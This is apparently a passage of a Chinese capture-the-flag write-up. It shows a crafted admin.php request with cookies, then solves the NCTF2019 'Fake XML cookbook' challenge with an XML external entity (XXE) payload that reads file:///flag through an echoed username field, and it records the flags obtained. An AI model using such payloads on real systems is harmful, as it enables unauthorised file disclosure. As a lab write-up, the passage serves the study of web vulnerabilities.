1 2 GET /admin.php?decrypt =OGiyKXIyhghrDCtpomyQ6A%3D%3D HTTP/1.1Cookie: UM_distinctid =178c47882931c-03d45df0858cdb8-4c3f227c-e1000-178c478829517e; y1ng =8880cbd71721332a25aa6df7b12eb7ac53539100; your_ip_address =d99081fe929b750e0557f85e6499103f
得到 flag
1 flag {44 e679ac-f18d-443 c-9 cc2-f734da5546b0}
0x1e [NCTF2019]Fake XML cookbook 搜集一波信息
扫一扫目录
ajax 用了 xml 格式
1 X -Powered-By: PHP/7 .4 .0 RC6
也不确定有没有过滤输入的信息,试试看
果然没有过滤,也没有转义,而且直接把 username 元素的内容回显了
php 写的,不确定后端能不能处理 dtd ,如果可以,那就能 xxe 攻击了
1 2 3 4 <!DOCTYPE xxe [ <!ENTITY hello SYSTEM "file:///flag" > ]> <user > <username > &hello; </username > <password > penson</password > </user >
得到 flag
1 flag {4 b4448d7-b101-41 f6-9 c1c-f93cc2473dc0}